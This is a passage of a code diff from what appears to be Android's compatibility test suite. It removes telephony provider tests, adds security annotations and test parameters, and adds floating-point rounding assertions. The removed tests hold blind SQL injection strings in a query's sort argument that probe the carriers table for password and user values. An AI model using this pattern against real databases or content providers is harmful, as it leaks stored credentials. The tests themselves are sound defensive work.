testNoAccessToPasswordThruSort() { - try { - String selection = Carriers.CURRENT + " IS NOT NULL"; - String[] selectionArgs = null; - String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE" - + " password LIKE 'a%') > 0) THEN 1 ELSE 0 END"; - Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI, - APN_PROJECTION, selection, selectionArgs, sort); - fail("Expected SecurityException"); - } catch (SecurityException e) { - // expected - } - } - - public void testNoAccessToPasswordThruMixedCase() { - try { - String selection = Carriers.CURRENT + " IS NOT NULL"; - String[] selectionArgs = null; - String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE" - + " PaSsWoRd LIKE 'a%') > 0) THEN 1 ELSE 0 END"; - Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI, - APN_PROJECTION, selection, selectionArgs, sort); - fail("Expected SecurityException"); - } catch (SecurityException e) { - // expected - } - } - - public void testNoAccessToUser() { - try { - String selection = Carriers.CURRENT + " IS NOT NULL AND " - + Carriers.USER + " IS NOT NULL"; - String[] selectionArgs = null; - String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE" - + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END"; - Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI, - APN_PROJECTION, selection, selectionArgs, sort); - fail("Expected SecurityException"); - } catch (SecurityException e) { - // expected - } - } - - public void testNoAccessViaSubqueries() { - try { - String selection = Carriers.CURRENT + " IS NOT NULL"; - String[] selectionArgs = null; - String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE" - + " mcc LIKE 'a%') > 0) THEN 1 ELSE 0 END"; - Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI, - APN_PROJECTION, selection, selectionArgs, sort); - fail("Expected SecurityException"); - } catch (SecurityException e) { - // expected - } - } - - public void testNoAccessToUserWithDifferentUri() { - try { - String selection = Carriers.CURRENT + " IS NOT NULL AND " - + Carriers.USER + " IS NOT NULL"; - String[] selectionArgs = null; - String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE" - + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END"; - Cursor cursor = mContentResolver.query(Uri.parse("content://telephony/siminfo"), - APN_PROJECTION, selection, selectionArgs, sort); - fail("Expected SecurityException"); + fail("No SecurityException thrown"); } catch (SecurityException e) { // expected } diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java index 00856cd5aca..12a4271b058 100644 --- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java +++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java @@ -33,6 +33,7 @@ import android.graphics.Paint; import android.graphics.Paint.FontMetricsInt; import android.graphics.Typeface; import android.os.LocaleList; +import android.platform.test.annotations.SecurityTest; import android.text.Editable; import android.text.Layout; import android.text.Layout.Alignment; @@ -1683,6 +1684,7 @@ public class StaticLayoutTest { } // This is for b/140755449 + @SecurityTest @Test public void testBidiVisibleEnd() { TextPaint paint = new TextPaint(); diff --git a/tests/tests/tools/processors/view_inspector/AndroidTest.xml b/tests/tests/tools/processors/view_inspector/AndroidTest.xml index 8745e65f846..02be70984f3 100644 --- a/tests/tests/tools/processors/view_inspector/AndroidTest.xml +++ b/tests/tests/tools/processors/view_inspector/AndroidTest.xml @@ -19,6 +19,7 @@ <option name="config-descriptor:metadata" key="component" value="uitoolkit" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml index 3f98221b91e..195ebd06bb3 100644 --- a/tests/tests/uidisolation/AndroidTest.xml +++ b/tests/tests/uidisolation/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="security" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <option name="not-shardable" value="true" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/util/src/android/util/cts/HalfTest.java b/tests/tests/util/src/android/util/cts/HalfTest.java index 62662d012a5..ae085805ff1 100644 --- a/tests/tests/util/src/android/util/cts/HalfTest.java +++ b/tests/tests/util/src/android/util/cts/HalfTest.java @@ -256,6 +256,13 @@ public class HalfTest { assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.7f))), 1e-6f); assertEquals(125.0f, toFloat(Half.ceil(toHalf(124.2f))), 1e-6f); assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.2f))), 1e-6f); + // ceil for NaN values + // These tests check whether the current ceil implementation achieves + // bit level compatibility with the hardware implementation (ARM64). + assertShortEquals((short) 0x7e01, Half.ceil((short) 0x7c01)); + assertShortEquals((short) 0x7f00, Half.ceil((short) 0x7d00)); + assertShortEquals((short) 0xfe01, Half.ceil((short) 0xfc01)); + assertShortEquals((short) 0xff00, Half.ceil((short) 0xfd00)); } @Test @@ -340,12 +347,23 @@ public class HalfTest { assertShortEquals(NEGATIVE_ZERO, Half.round(toHalf(-0.2f))); assertEquals(1.0f, toFloat(Half.round(toHalf(0.7f))), 1e-6f); assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.7f))), 1e-6f); - assertEquals(1.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f); - assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f); + assertEquals(0.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f); + assertEquals(-0.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f); + assertEquals(2.0f, toFloat(Half.round(toHalf(1.5f))), 1e-6f); + assertEquals(-2.0f, toFloat(Half.round(toHalf(-1.5f))), 1e-6f); + assertEquals(1022.0f, toFloat(Half.round(toHalf(1022.5f))), 1e-6f); + assertEquals(-1022.0f, toFloat(Half.round(toHalf(-1022.5f))), 1e-6f); assertEquals(125.0f, toFloat(Half.round(toHalf(124.7f))), 1e-6f); assertEquals(-125.0f, toFloat(Half.round(toHalf(-124.7f))), 1e-6f); assertEquals(124.0f, toFloat(Half.round(toHalf(124.2f))), 1e-6f); assertEquals(-124.0f, toFloat(Half.round(toHalf(-124.2f))), 1e-6f); + // round for NaN values + // These tests check whether the current round implementation achieves + // bit level compatibility with the hardware implementation (ARM64). + assertShortEquals((short) 0x7e01, Half.round((short) 0x7c01)); + assertShortEquals((short) 0x7f00, Half.round((short) 0x7d00)); + assertShortEquals((short) 0xfe01, Half.round((short) 0xfc01)); + assertShortEquals((short) 0xff00, Half.round((short) 0xfd00)); } @Test |